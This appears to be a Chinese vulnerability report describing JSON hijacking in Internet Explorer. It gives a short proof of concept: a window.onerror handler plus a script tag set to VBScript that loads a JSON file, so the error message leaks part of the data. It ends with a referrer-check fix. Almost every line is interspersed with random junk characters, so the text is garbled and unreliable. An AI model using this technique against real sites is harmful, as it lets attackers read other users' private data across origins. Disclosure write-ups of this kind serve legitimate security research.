简要描述:
; {9 G4 O* I3 n4 Y, B& R3 ?. E9 h. k
* w. ~* p" _' c4 ~6 }1 i由于某些资源容器对数据处理不当导致json劫持漏洞.
" `9 _! m" o* {2 D( e详细说明:
8 }, o/ p* B( c5 U% C. A由于ie支持vbscript,所以script元素可以指定成vbscript语言:6 R8 S. Y7 y! `; O; R# ~8 H' h
<script language=vbscript></script>; I F8 O" Z/ _6 [- t% x1 R
c, q, w) m4 E% n* I当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
. L$ Z/ R, g9 W; d漏洞证明:* ]2 n4 [& }5 Y. e2 B' ]- w
<script>
& B5 ]" \; E; v+ q5 Wwindow.onerror=function(_){
! B- n" `% E: U' T& [- n. dalert(_)
" x* J9 c' i6 T( ?( d}
$ g# Z9 c6 S3 E# B' s; V" o</script>; Y: z: e0 x/ m% D8 I2 b, I
<script language=vbscript src=1.json></script>
0 j7 @1 } v7 |. F% N/ h5 u7 G I / m+ d i% V/ h, G0 q
/ U3 |9 S$ j3 R0 D1 k3 c$ `
1.json:8 S0 r7 G9 I6 R' I7 b# |
[{"name":"sogili","age":19}]1 `9 S& |/ e! U+ v- A
修复方案:& L6 |) L3 H8 d9 l3 d$ O3 {, ]
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |